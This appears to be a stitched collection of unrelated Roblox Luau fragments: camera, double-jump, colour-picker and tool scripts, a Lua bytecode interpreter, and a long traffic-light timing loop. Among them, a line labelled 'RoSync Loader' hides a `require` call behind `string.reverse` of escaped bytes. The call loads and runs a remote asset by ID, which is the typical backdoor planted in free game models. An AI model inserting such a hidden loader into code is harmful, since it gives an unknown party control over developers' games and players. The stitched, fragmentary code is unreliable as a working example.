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-- This loads from, or lazily creates, NumberValue objects for exposed parameters |
function OrbitalCamera:LoadNumberValueParameters()
-- These initial values do not require change listeners since they are read only once
self:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil)
self:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil)
-- Note: ReferenceAzimuth is also used as an initial value, but needs a change listener because it is used in the calculation of the limits
self:LoadOrCreateNumberValueParameter("ReferenceAzimuth", "NumberValue", self.SetAndBoundsCheckAzimuthValue)
self:LoadOrCreateNumberValueParameter("CWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
self:LoadOrCreateNumberValueParameter("CCWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
self:LoadOrCreateNumberValueParameter("MinElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
self:LoadOrCreateNumberValueParameter("MaxElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
self:LoadOrCreateNumberValueParameter("MinDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
self:LoadOrCreateNumberValueParameter("MaxDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
self:LoadOrCreateNumberValueParameter("UseAzimuthLimits", "BoolValue", self.SetAndBoundsCheckAzimuthValues)
-- Internal values set (in radians, from degrees), plus sanitization
self.curAzimuthRad = math.rad(self.externalProperties["ReferenceAzimuth"])
self.curElevationRad = math.rad(self.externalProperties["InitialElevation"])
self.curDistance = self.externalProperties["InitialDistance"]
self:SetAndBoundsCheckAzimuthValues()
self:SetAndBoundsCheckElevationValues()
self:SetAndBoundsCheckDistanceValues()
end
function OrbitalCamera:GetModuleName()
return "OrbitalCamera"
end
function OrbitalCamera:SetInitialOrientation(humanoid: Humanoid)
if not humanoid or not humanoid.RootPart then
warn("OrbitalCamera could not set initial orientation due to missing humanoid")
return
end
assert(humanoid.RootPart, "")
local newDesiredLook = (humanoid.RootPart.CFrame.LookVector - Vector3.new(0,0.23,0)).Unit
local horizontalShift = Util.GetAngleBetweenXZVectors(newDesiredLook, self:GetCameraLookVector())
local vertShift = math.asin(self:GetCameraLookVector().Y) - math.asin(newDesiredLook.Y)
if not Util.IsFinite(horizontalShift) then
horizontalShift = 0
end
if not Util.IsFinite(vertShift) then
vertShift = 0
end
end
|
--[[ Last synced 7/31/2021 05:20 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
-- Decompiled with the Synapse X Luau decompiler. |
local l__UserInputService__1 = game:GetService("UserInputService");
local u1 = nil;
local u2 = nil;
local u3 = false;
local u4 = false;
local u5 = nil;
local l__LocalPlayer__6 = game.Players.LocalPlayer;
local l__DoubleJump__7 = script:WaitForChild("DoubleJump");
function onJumpRequest()
if u1 then
if u2 then
if u1:IsDescendantOf(workspace) then
if u2:GetState() == Enum.HumanoidStateType.Dead then
else
if u3 then
if not u4 then
u4 = true;
u2.JumpPower = u5 * 1.2;
u2:ChangeState(Enum.HumanoidStateType.Jumping);
l__LocalPlayer__6.Character.Humanoid:LoadAnimation(l__DoubleJump__7):Play();
end;
end;
return;
end;
end;
end;
end;
end;
local function v2(p1)
u1 = p1;
u2 = p1:WaitForChild("Humanoid");
u4 = false;
u3 = false;
u5 = u2.JumpPower;
u2.StateChanged:connect(function(p2, p3)
if p3 == Enum.HumanoidStateType.Landed then
u3 = false;
u4 = false;
u2.JumpPower = u5;
return;
end;
if p3 == Enum.HumanoidStateType.Freefall then
wait(0.2);
u3 = true;
end;
end);
end;
if l__LocalPlayer__6.Character then
v2(l__LocalPlayer__6.Character);
end;
l__LocalPlayer__6.CharacterAdded:connect(v2);
l__UserInputService__1.JumpRequest:connect(onJumpRequest);
|
-- |
local hue, saturation, value = 0, 0, 1;
local function update()
colour.BackgroundColor3 = Color3.fromHSV(hue, saturation, value);
local color3 = Color3.fromHSV(hue,saturation,value)
local r,g,b = color3.R,color3.G,color3.B
print(r)
print(g)
print(b)
color.Text = (tostring(math.floor(r*255))..","..tostring(math.floor(g*255))..","..tostring(math.floor(b*255)))
color.TextColor3 = Color3.fromRGB(r*255,g*255,b*255)
end
|
-- Function to bind to equip event |
local function equip()
local torso = player.Character.Torso
-- Setup joint variables
neck = torso.Neck
oldNeckC0 = neck.C0
shoulder = torso:FindFirstChild("Right Shoulder")
oldShoulderC0 = shoulder.C0
-- Remember old mouse icon and update current
oldIcon = mouse.Icon
mouse.Icon = "http://www.roblox.com/asset/?id=79658449"
-- Bind TouchMoved event if on mobile. Otherwise connect to renderstepped
if userInputService.TouchEnabled then
connection = userInputService.TouchMoved:connect(mobileFrame)
else
connection = render:connect(pcFrame)
end
-- Bind TouchStarted and TouchEnded. Used to determine if character should rotate
-- during touch input
userInputService.TouchStarted:connect(function(touch, processed)
mobileShouldTrack = not processed
end)
userInputService.TouchEnded:connect(function(touch, processed)
mobileShouldTrack = false
end)
-- If game uses filtering enabled then need to update server while tool is
-- held by character.
if workspace.FilteringEnabled then
while connection do
wait()
game.ReplicatedStorage.ROBLOX_RocketUpdateEvent:FireServer(neck.C0, shoulder.C0)
end
end
end
|
--[[
[How fast the body rotates.]
[Setting to 0 negates tracking, and setting to 1 is instant rotation. 0.5 is a nice in-between that works with MseGuide on or off.]
[Setting this any higher than 1 causes weird glitchy shaking occasionally.]
--]] |
local UpdateSpeed = 0.5
|
-- fn cst_flt_rdr(string src, int len, fn func)
-- @len - Length of type for reader
-- @func - Reader callback |
local function cst_flt_rdr(len, func)
return function(S)
local flt = func(S.source, S.index)
S.index = S.index + len
return flt
end
end
local function stm_inst_list(S)
local len = S:s_int()
local list = table.create(len)
for i = 1, len do
local ins = S:s_ins()
local op = bit.band(ins, 0x3F)
local args = OPCODE_T[op]
local mode = OPCODE_M[op]
local data = {value = ins, op = OPCODE_RM[op], A = bit.band(bit.rshift(ins, 6), 0xFF)}
if args == 'ABC' then
data.B = bit.band(bit.rshift(ins, 23), 0x1FF)
data.C = bit.band(bit.rshift(ins, 14), 0x1FF)
data.is_KB = mode.b == 'OpArgK' and data.B > 0xFF -- post process optimization
data.is_KC = mode.c == 'OpArgK' and data.C > 0xFF
elseif args == 'ABx' then
data.Bx = bit.band(bit.rshift(ins, 14), 0x3FFFF)
data.is_K = mode.b == 'OpArgK'
elseif args == 'AsBx' then
data.sBx = bit.band(bit.rshift(ins, 14), 0x3FFFF) - 131071
end
list[i] = data
end
return list
end
local function stm_const_list(S)
local len = S:s_int()
local list = table.create(len)
for i = 1, len do
local tt = stm_byte(S)
local k
if tt == 1 then
k = stm_byte(S) ~= 0
elseif tt == 3 then
k = S:s_num()
elseif tt == 4 then
k = stm_lstring(S)
end
list[i] = k -- offset +1 during instruction decode
end
return list
end
local function stm_sub_list(S, src)
local len = S:s_int()
local list = table.create(len)
for i = 1, len do
list[i] = stm_lua_func(S, src) -- offset +1 in CLOSURE
end
return list
end
local function stm_line_list(S)
local len = S:s_int()
local list = table.create(len)
for i = 1, len do list[i] = S:s_int() end
return list
end
local function stm_loc_list(S)
local len = S:s_int()
local list = table.create(len)
for i = 1, len do list[i] = {varname = stm_lstring(S), startpc = S:s_int(), endpc = S:s_int()} end
return list
end
local function stm_upval_list(S)
local len = S:s_int()
local list = table.create(len)
for i = 1, len do list[i] = stm_lstring(S) end
return list
end
function stm_lua_func(S, psrc)
local proto = {}
local src = stm_lstring(S) or psrc -- source is propagated
proto.source = src -- source name
S:s_int() -- line defined
S:s_int() -- last line defined
proto.num_upval = stm_byte(S) -- num upvalues
proto.num_param = stm_byte(S) -- num params
stm_byte(S) -- vararg flag
proto.max_stack = stm_byte(S) -- max stack size
proto.code = stm_inst_list(S)
proto.const = stm_const_list(S)
proto.subs = stm_sub_list(S, src)
proto.lines = stm_line_list(S)
stm_loc_list(S)
stm_upval_list(S)
-- post process optimization
for _, v in ipairs(proto.code) do
if v.is_K then
v.const = proto.const[v.Bx + 1] -- offset for 1 based index
else
if v.is_KB then v.const_B = proto.const[v.B - 0xFF] end
if v.is_KC then v.const_C = proto.const[v.C - 0xFF] end
end
end
return proto
end
function lua_bc_to_state(src)
-- func reader
local rdr_func
-- header flags
local little
local size_int
local size_szt
local size_ins
local size_num
local flag_int
-- stream object
local stream = {
-- data
index = 1,
source = src,
}
assert(stm_string(stream, 4) == '\27Lua', 'invalid Lua signature')
assert(stm_byte(stream) == 0x51, 'invalid Lua version')
assert(stm_byte(stream) == 0, 'invalid Lua format')
little = stm_byte(stream) ~= 0
size_int = stm_byte(stream)
size_szt = stm_byte(stream)
size_ins = stm_byte(stream)
size_num = stm_byte(stream)
flag_int = stm_byte(stream) ~= 0
rdr_func = little and rd_int_le or rd_int_be
stream.s_int = cst_int_rdr(size_int, rdr_func)
stream.s_szt = cst_int_rdr(size_szt, rdr_func)
stream.s_ins = cst_int_rdr(size_ins, rdr_func)
if flag_int then
stream.s_num = cst_int_rdr(size_num, rdr_func)
elseif float_types[size_num] then
stream.s_num = cst_flt_rdr(size_num, float_types[size_num][little and 'little' or 'big'])
else
error('unsupported float size')
end
return stm_lua_func(stream, '@virtual')
end
local function close_lua_upvalues(list, index)
for i, uv in pairs(list) do
if uv.index >= index then
uv.value = uv.store[uv.index] -- store value
uv.store = uv
uv.index = 'value' -- self reference
list[i] = nil
end
end
end
local function open_lua_upvalue(list, index, memory)
local prev = list[index]
if not prev then
prev = {index = index, store = memory}
list[index] = prev
end
return prev
end
local function on_lua_error(failed, err)
local src = failed.source
local line = failed.lines[failed.pc - 1]
error(string.format('%s:%i: %s', src, line, err), 0)
end
local function run_lua_func(state, env, upvals)
local code = state.code
local subs = state.subs
local vararg = state.vararg
local top_index = -1
local open_list = {}
local memory = state.memory
local pc = state.pc
while true do
local inst = code[pc]
local op = inst.op
pc = pc + 1
if op < 18 then
if op < 8 then
if op < 3 then
if op < 1 then
--[[LOADNIL]]
for i = inst.A, inst.B do memory[i] = nil end
elseif op > 1 then
--[[GETUPVAL]]
local uv = upvals[inst.B]
memory[inst.A] = uv.store[uv.index]
else
--[[ADD]]
local lhs, rhs
if inst.is_KB then
lhs = inst.const_B
else
lhs = memory[inst.B]
end
if inst.is_KC then
rhs = inst.const_C
else
rhs = memory[inst.C]
end
memory[inst.A] = lhs + rhs
end
elseif op > 3 then
if op < 6 then
if op > 4 then
--[[SELF]]
local A = inst.A
local B = inst.B
local index
if inst.is_KC then
index = inst.const_C
else
index = memory[inst.C]
end
memory[A + 1] = memory[B]
memory[A] = memory[B][index]
else
--[[GETGLOBAL]]
memory[inst.A] = env[inst.const]
end
elseif op > 6 then
--[[GETTABLE]]
local index
if inst.is_KC then
index = inst.const_C
else
index = memory[inst.C]
end
memory[inst.A] = memory[inst.B][index]
else
--[[SUB]]
local lhs, rhs
if inst.is_KB then
lhs = inst.const_B
else
lhs = memory[inst.B]
end
if inst.is_KC then
rhs = inst.const_C
else
rhs = memory[inst.C]
end
memory[inst.A] = lhs - rhs
end
else --[[MOVE]]
memory[inst.A] = memory[inst.B]
end
elseif op > 8 then
if op < 13 then
if op < 10 then
--[[SETGLOBAL]]
env[inst.const] = memory[inst.A]
elseif op > 10 then
if op < 12 then
--[[CALL]]
local A = inst.A
local B = inst.B
local C = inst.C
local params
if B == 0 then
params = top_index - A
else
params = B - 1
end
local ret_list = table.pack(memory[A](table.unpack(memory, A + 1, A + params)))
local ret_num = ret_list.n
if C == 0 then
top_index = A + ret_num - 1
else
ret_num = C - 1
end
table.move(ret_list, 1, ret_num, A, memory)
else
--[[SETUPVAL]]
local uv = upvals[inst.B]
uv.store[uv.index] = memory[inst.A]
end
else
--[[MUL]]
local lhs, rhs
if inst.is_KB then
lhs = inst.const_B
else
lhs = memory[inst.B]
end
if inst.is_KC then
rhs = inst.const_C
else
rhs = memory[inst.C]
end
memory[inst.A] = lhs * rhs
end
elseif op > 13 then
if op < 16 then
if op > 14 then
--[[TAILCALL]]
local A = inst.A
local B = inst.B
local params
if B == 0 then
params = top_index - A
else
params = B - 1
end
close_lua_upvalues(open_list, 0)
return memory[A](table.unpack(memory, A + 1, A + params))
else
--[[SETTABLE]]
local index, value
if inst.is_KB then
index = inst.const_B
else
index = memory[inst.B]
end
if inst.is_KC then
value = inst.const_C
else
value = memory[inst.C]
end
memory[inst.A][index] = value
end
elseif op > 16 then
--[[NEWTABLE]]
memory[inst.A] = {}
else
--[[DIV]]
local lhs, rhs
if inst.is_KB then
lhs = inst.const_B
else
lhs = memory[inst.B]
end
if inst.is_KC then
rhs = inst.const_C
else
rhs = memory[inst.C]
end
memory[inst.A] = lhs / rhs
end
else
--[[LOADK]]
memory[inst.A] = inst.const
end
else
--[[FORLOOP]]
local A = inst.A
local step = memory[A + 2]
local index = memory[A] + step
local limit = memory[A + 1]
local loops
if step == math.abs(step) then
loops = index <= limit
else
loops = index >= limit
end
if loops then
memory[A] = index
memory[A + 3] = index
pc = pc + inst.sBx
end
end
elseif op > 18 then
if op < 28 then
if op < 23 then
if op < 20 then
--[[LEN]]
memory[inst.A] = #memory[inst.B]
elseif op > 20 then
if op < 22 then
--[[RETURN]]
local A = inst.A
local B = inst.B
local len
if B == 0 then
len = top_index - A + 1
else
len = B - 1
end
close_lua_upvalues(open_list, 0)
return table.unpack(memory, A, A + len - 1)
else
--[[CONCAT]]
local B = inst.B
local str = memory[B]
for i = B + 1, inst.C do str = str .. memory[i] end
memory[inst.A] = str
end
else
--[[MOD]]
local lhs, rhs
if inst.is_KB then
lhs = inst.const_B
else
lhs = memory[inst.B]
end
if inst.is_KC then
rhs = inst.const_C
else
rhs = memory[inst.C]
end
memory[inst.A] = lhs % rhs
end
elseif op > 23 then
if op < 26 then
if op > 24 then
--[[CLOSE]]
close_lua_upvalues(open_list, inst.A)
else
--[[EQ]]
local lhs, rhs
if inst.is_KB then
lhs = inst.const_B
else
lhs = memory[inst.B]
end
if inst.is_KC then
rhs = inst.const_C
else
rhs = memory[inst.C]
end
if (lhs == rhs) == (inst.A ~= 0) then pc = pc + code[pc].sBx end
pc = pc + 1
end
elseif op > 26 then
--[[LT]]
local lhs, rhs
if inst.is_KB then
lhs = inst.const_B
else
lhs = memory[inst.B]
end
if inst.is_KC then
rhs = inst.const_C
else
rhs = memory[inst.C]
end
if (lhs < rhs) == (inst.A ~= 0) then pc = pc + code[pc].sBx end
pc = pc + 1
else
--[[POW]]
local lhs, rhs
if inst.is_KB then
lhs = inst.const_B
else
lhs = memory[inst.B]
end
if inst.is_KC then
rhs = inst.const_C
else
rhs = memory[inst.C]
end
memory[inst.A] = lhs ^ rhs
end
else
--[[LOADBOOL]]
memory[inst.A] = inst.B ~= 0
if inst.C ~= 0 then pc = pc + 1 end
end
elseif op > 28 then
if op < 33 then
if op < 30 then
--[[LE]]
local lhs, rhs
if inst.is_KB then
lhs = inst.const_B
else
lhs = memory[inst.B]
end
if inst.is_KC then
rhs = inst.const_C
else
rhs = memory[inst.C]
end
if (lhs <= rhs) == (inst.A ~= 0) then pc = pc + code[pc].sBx end
pc = pc + 1
elseif op > 30 then
if op < 32 then
--[[CLOSURE]]
local sub = subs[inst.Bx + 1] -- offset for 1 based index
local nups = sub.num_upval
local uvlist
if nups ~= 0 then
uvlist = {}
for i = 1, nups do
local pseudo = code[pc + i - 1]
if pseudo.op == OPCODE_RM[0] then -- @MOVE
uvlist[i - 1] = open_lua_upvalue(open_list, pseudo.B, memory)
elseif pseudo.op == OPCODE_RM[4] then -- @GETUPVAL
uvlist[i - 1] = upvals[pseudo.B]
end
end
pc = pc + nups
end
memory[inst.A] = lua_wrap_state(sub, env, uvlist)
else
--[[TESTSET]]
local A = inst.A
local B = inst.B
if (not memory[B]) ~= (inst.C ~= 0) then
memory[A] = memory[B]
pc = pc + code[pc].sBx
end
pc = pc + 1
end
else
--[[UNM]]
memory[inst.A] = -memory[inst.B]
end
elseif op > 33 then
if op < 36 then
if op > 34 then
--[[VARARG]]
local A = inst.A
local len = inst.B
if len == 0 then
len = vararg.len
top_index = A + len - 1
end
table.move(vararg.list, 1, len, A, memory)
else
--[[FORPREP]]
local A = inst.A
local init, limit, step
init = assert(tonumber(memory[A]), '`for` initial value must be a number')
limit = assert(tonumber(memory[A + 1]), '`for` limit must be a number')
step = assert(tonumber(memory[A + 2]), '`for` step must be a number')
memory[A] = init - step
memory[A + 1] = limit
memory[A + 2] = step
pc = pc + inst.sBx
end
elseif op > 36 then
--[[SETLIST]]
local A = inst.A
local C = inst.C
local len = inst.B
local tab = memory[A]
local offset
if len == 0 then len = top_index - A end
if C == 0 then
C = inst[pc].value
pc = pc + 1
end
offset = (C - 1) * FIELDS_PER_FLUSH
table.move(memory, A + 1, A + len, offset + 1, tab)
else
--[[NOT]]
memory[inst.A] = not memory[inst.B]
end
else
--[[TEST]]
if (not memory[inst.A]) ~= (inst.C ~= 0) then pc = pc + code[pc].sBx end
pc = pc + 1
end
else
--[[TFORLOOP]]
local A = inst.A
local base = A + 3
local vals = {memory[A](memory[A + 1], memory[A + 2])}
table.move(vals, 1, inst.C, base, memory)
if memory[base] ~= nil then
memory[A + 2] = memory[base]
pc = pc + code[pc].sBx
end
pc = pc + 1
end
else
--[[JMP]]
pc = pc + inst.sBx
end
state.pc = pc
end
end
function lua_wrap_state(proto, env, upval)
local function wrapped(...)
local passed = table.pack(...)
local memory = table.create(proto.max_stack)
local vararg = {len = 0, list = {}}
table.move(passed, 1, proto.num_param, 0, memory)
if proto.num_param < passed.n then
local start = proto.num_param + 1
local len = passed.n - proto.num_param
vararg.len = len
table.move(passed, start, start + len - 1, 1, vararg.list)
end
local state = {vararg = vararg, memory = memory, code = proto.code, subs = proto.subs, pc = 1}
local result = table.pack(pcall(run_lua_func, state, env, upval))
if result[1] then
return table.unpack(result, 2, result.n)
else
local failed = {pc = state.pc, source = proto.source, lines = proto.lines}
on_lua_error(failed, result[2])
return
end
end
return wrapped
end
return function(bCode, env)
return lua_wrap_state(lua_bc_to_state(bCode), env or getfenv(0))
end
|
-- Make the HotbarFrame, which holds only the Hotbar Slots |
HotbarFrame = NewGui('Frame', 'Hotbar')
HotbarFrame.Parent = MainFrame
|
--------------------------------------------- |
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 1
PedValues.PedSignal2a.Value = 1
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(26)--Green Time (BEGIN SIGNAL1 GREEN)
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 2
PedValues.PedSignal2a.Value = 2
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(6) -- Green Time + Time for flashing pedestrian signals
SignalValues.Signal1.Value = 2
SignalValues.Signal1a.Value = 2
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 1
PedValues.PedSignal1a.Value = 1
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 2
PedValues.PedSignal1a.Value = 2
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(6) -- Green Time + Time for flashing pedestrian signals
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 2
SignalValues.Signal2a.Value = 2
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 1
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(10)--Green Time (BEGIN SIGNAL1 PROTECTED TURN GREEN)
TurnValues.TurnSignal1.Value = 2
wait(4)--Yield Time (YIELD SIGNAL1 PROTECTED TURN GREEN)
TurnValues.TurnSignal1.Value = 3
SignalValues.Signal1a.Value = 3
wait(2)-- Clearance
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(10) -- Green Time + Time for Signal1a
SignalValues.Signal1.Value = 2
SignalValues.Signal1a.Value = 2
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 1
PedValues.PedSignal1a.Value = 1
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 2
PedValues.PedSignal1a.Value = 2
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(6) -- Green Time + Time for flashing pedestrian signals
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 2
SignalValues.Signal2a.Value = 2
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 1
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(10)--Green Time (BEGIN SIGNAL1a PROTECTED TURN GREEN)
TurnValues.TurnSignal1a.Value = 2
wait(4)--Yield Time (YIELD SIGNAL1a PROTECTED TURN GREEN)
TurnValues.TurnSignal1a.Value = 3
SignalValues.Signal1.Value = 3
wait(2)-- All Red Cycle
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(10) -- Green Time + Time for Signal1a
SignalValues.Signal1.Value = 2
SignalValues.Signal1a.Value = 2
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 1
PedValues.PedSignal1a.Value = 1
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 2
PedValues.PedSignal1a.Value = 2
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(6) -- Green Time + Time for flashing pedestrian signals
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 2
SignalValues.Signal2a.Value = 2
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
